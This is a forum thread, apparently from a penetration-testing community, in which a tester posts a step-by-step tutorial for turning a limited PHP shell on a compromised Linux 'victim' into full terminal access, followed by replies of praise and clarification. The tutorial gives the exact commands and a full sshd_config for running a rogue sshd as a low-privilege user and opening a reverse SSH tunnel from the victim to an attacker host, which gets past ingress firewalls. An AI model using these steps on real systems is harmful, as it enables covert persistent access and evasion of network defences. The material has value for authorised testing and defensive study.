Tutorial – Getting from shell to Terminal on locked down box

Viewing 7 reply threads
  • Author
    • #8639

      I was recently Pen-Testing one of our heavily locked down Linux machines and I couldnt’ find a way to get from a limited php shell to full terminal access. A look around the internet turned up a few things, but as the machine was heavily locked down, none of the usual techniques were working.

      I came up with the following way to go from limited shell to full terminal access on a machine which is heavily locked down, using only SSH (which is installed on practically every Linux server going). I couldn’t find another example of this written up on the internet so I thought I’d share it, in the hope that it helps someone else stuck in this position. Unfortunately I’ve run out of time before I could finalize the security of this procedure (there are some big holes that can be fixed with a couple of small tweaks) but I’m sure it’ll be a good starting point.

      From shell to Terminal – Reverse Terminal Connections over SSH

      What are we trying to do here?

      We’re trying to go from shell to terminal access over a machine we’ve compromised. In this instance, the victim machine is heavily locked down, and we can’t use standard methods to get terminal access over it.

      How will we go about doing it?

      1. Create a SSHD daemon on the victim machine that listens locally
      2. Create a SSHD daemon on our attacking machine
      3. Create a SSH connection from the victim to the attacker SSHD instance
      4. Tunnel over the SSH connection from the attacker to the victim’s SSHD daemon instance
      5. We will now have SSH terminal access to the victim machine


      1. The victim machine must have the SSH and SSHD binaries on it
      2. The attacker machine must have the SSH and SSHD binaries on it
      3. The victim machine must have a directory that the attacker can write to


      1. The account on the Victim Machine you have access to does not have a set of SSH keys already
      2. The account on the Victim Machine you have access to does not have a password set on it
      3. Tools for generating SSH keys are not on the Victim Machine
      4. There is no script/programming language such as perl/python on the Victim Machine that can be used to create terminal emulation

      Security Warning

      You are (potentially) about to transfer SSH private keys for both the attacker and victim machine over the wire in clear text. Although this will not let a 3rd party directly access the victim machine, it will allow a 3rd party to SSH into your attacker machine.
      It will also let the Sysadmin of the victim machine to SSH back into the attacker machine if they ever find the config/keys, so the attacker could quickly become the victim!

      Technical Method

      Step 1 (On the Attacker Machine)

      1.1 Create new user on the Attacker machine, which is used for the victim to connect back into the attacker
      1.1.1 useradd -s /bin/bash -m -d /home/ E.g. useradd attackerMachine -s /bin/bash -m -d /home/attackerMachine
      1.1.2 passwd

      1.2 Become the new user
      1.2.1 su –

      1.3 Create SSH keys for that user
      1.3.1 ssh-keygen -t rsa
      (Just press enter lots to accept all defaults)
      Two keys should be created in /home//.ssh/
      id_rsa is the private key
      id_rsa.pub is the public key

      1.4 Copy the public key into the user’s authorized_keys file
      1.4.1 cp /home//.ssh/id_rsa.pub /home//.ssh/authorized_keys

      Step 2 (On the Attacker Machine)

      2.1 Create a set of keys which will be used to connect into the victim machine
      2.1.1 useradd -s /bin/bash -m -d /home/
      E.g. useradd victimMachine –s /bin/bash –m –d /home/victimMachine

      2.2 Become the new user
      2.2.1 su –

      2.3 Create SSH keys for that user
      2.3.1 ssh-keygen -t rsa
      (Just press enter lots to accept all defaults)
      Two keys should be created in /home//.ssh/
      id_rsa is the private key
      id_rsa.pub is the public key

      2.4 Create a new SSHD instance on the attacker (This isn’t strictly necessary, you could use an existing SSHD instance)
      2.4.1 /sshd –p
      E.g. /usr/sbin/sshd –p 8888

      Step 3 (On the Victim Machine)

      3.1 Create a directory on the victim in a location you can write to, that will act as a top level folder for holding all other folders you’re about to create
      3.1.1 mkdir
      E.g. mkdir toplevelfolder

      3.2 Create a directory on the victim in the top level folder that will hold the SSH keys to access the attacker machine
      3.2.1 mkdir /
      E.g. mkdir toplevelfolder/remotekeys

      3.3 Create a directory on the victim in the top level folder that will hold the SSH keys that the attacker will connect in on
      3.3.1 mkdir /
      E.g. mkdir toplevelfolder/localkeys

      3.4 Create a directory on the victim in the top level folder that will hold the SSH host key of the victim machine
      3.4.1 mkdir /
      E.g. mkdir toplevelfolder/hostkeys

      Step 4 (Moving files between Machines)

      4.1 Copy the id_rsa file created in Step 1.3 to the / (Created in Step 3.2) on the victim machine

      4.2 Copy the id_rsa.pub file created in Step 2.3 to the / (Created in Step 3.3) on the victim machine

      4.3 Copy the id_rsa.pub AND id_rsa created in Step 2.3 to the / (Created in Step 3.4) on the victim machine

      Step 5 (On the Victim Machine)

      5.1 Create a file within the (Created in Step 3.1) directory on the victim, called sshd_config. Paste in the following, making modifications as dictated in the file.

      #This is the port our SSH server will be listening on. This needs to be above 1024 as we dont have root access
      #This port needs to be unused already on the Victim
      Port 6666

      #Specify the location of the id_rsa.pub key that was moved in Step 4.2
      AuthorizedKeysFile /tmp/toplevelfolder/localkeys/id_rsa.pub

      #Specify the location and name of the id_rsa SSH host key that was moved in Step 4.3
      HostKey /tmp/toplevelfolder/hostkeys/id_rsa

      Protocol 2
      #Don't check permissions on home directories before allowing login, we need this if we don't own our own home directory
      StrictModes no
      #No need to use DNS
      UseDNS no
      #Do not timeout login connections
      LoginGraceTime 0
      #We wil be using public keys
      PubkeyAuthentication yes
      #This appears to be required as the low level user doesn't have permissions to be spawning processes with other permissions
      UsePrivilegeSeparation no
      #No need to do Challenge/Response
      ChallengeResponseAuthentication no
      #Allow additional things if we want to use them later on
      AllowAgentForwarding yes
      AllowTcpForwarding yes
      X11Forwarding yes
      #Allow a range of ciphers
      Ciphers aes128-ctr,aes192-ctr,aes256-ctr

      Step 6 (On the Victim Machine)

      6.1 Change the permissions of the (Created in Step 3.1) directory and everything under it to only allow user read/write/execute permissions
      6.1.1 chmod –R 700

      6.2 Locate the sshd binary on the victim machine
      This might be in /usr/sbin/sshd

      6.3 Run the following command on the victim, to create a new sshd instance running as the current user
      6.3.1 -f /sshd_config

      6.4 Locate a free TCP port on the attacker machine that can be used for reverse connections. Remember this for later on

      6.5 Create a SSH tunnel from the victim into the attacker machine.
      6.5.1 -R :localhost: -o StrictHostKeyChecking=no @ -p -i //id_rsa

      E.g. /usr/bin/ssh –R 7777:localhost:6666 -o StrictHostKeyChecking=no attackerMachine@ -p 8888 -i /var/toplevelfolder/remotekeys
      6.5.2 If all goes well, you should see the prompt change on the victim’s machine, and be able to browse the attackers machine

      Step 7 (On the Attacker Machine)

      7.1 Make sure that the port specified in Step 6.4 is listening for connections on the Attacker Machine
      7.1.1 netstat –an | grep LISTEN | grep tcp

      7.2 Create a SSH tunnel from the attacker to the victim, back through the tunnel already created
      7.2.1 ssh @ –p -i -o StrictHostKeyChecking=no

      E.g. ssh www-data@localhost –p 7777 –i /home/victimMachine/.ssh/id_rsa –o StrictHostKeyChecking=no

      7.3 If everything has gone well, you should now have a terminal on the victim machine
      7.3.1 You might need to launch a shell, as the user you have access to might not have a shell defined in the passwd file
      E.g. /bin/bash

    • #53741
      Master Of Puppets

      Great tutorial! Thanks for sharing.

    • #53742
      The New LT72884

      Since i am a newer user of linux. I have onlky done the RHCT course but that was 7 years ago. I have little cyber security knowledge so i am trying to follow what was done here.

      The part that was confusing to me was the “Moving files between machines” section. Are you transferring the files via ssh or just using a thumb drive to go back and forth to finish setting up the lab?


    • #53743

      The files are being transferred via ssh.

    • #53744
      The New LT72884

      Ok, so maybe im not understanding the full potentual of this tutorial haha. If the files are being transfered via SSH, then what is the main goal? I know it states it but im not sure i follow. I mean, i thought it was to setup ssh and once you could transfer files, then all is good.. haha


    • #53745

      Essentially it’s this:

      You have a very low level “shell” on the machine…e.g non tty access. This means that some of your standard commands won’t work, and thus your ability to navigate the machine as ‘real’ user would is seriously curtailed.

      What you want is full, tty SSH access. However, as you’re running as a low privilege user…such as Apache for instance, you don’t have the ability to do standard things to get it. What’s more, in the environment I tested this on, firewalls were in place to stop the attacker directly connecting to the victim machine, so a new reverse connection has to be created – back from the victim to the attacker.

      What this tutorial did was the create that reverse connection, over a full tty (SSH) tunnel, allowing the attacker to bypass ingress filtering, and then be able to run the commands they want to.

      Normally this type of thing isn’t required, you can upgrade from a shell to a terminal fairly easily, but on the environment this was tested under, none of the standard ways to do this worked, so I had to create my own.

      Hope that makes sense.

    • #53746

      Nice tutorial! I’ve enjoyed the Linux coverage in both the SEC504 and SEC560 classes I’ve taken. When I talk to Linux/Unix admins I’m often dismayed by how they assume it uncrackable.

    • #53747

      Well that’s the point of a Penetration Test – to take an assumption of how secured something is, and to attempt to determine whether that is actually the case or not 🙂

Viewing 7 reply threads
  • You must be logged in to reply to this topic.

Copyright ©2021 Caendra, Inc.

Contact Us

Thoughts, suggestions, issues? Send us an email, and we'll get back to you.


Sign in with Caendra

Forgot password?Sign up

Forgot your details?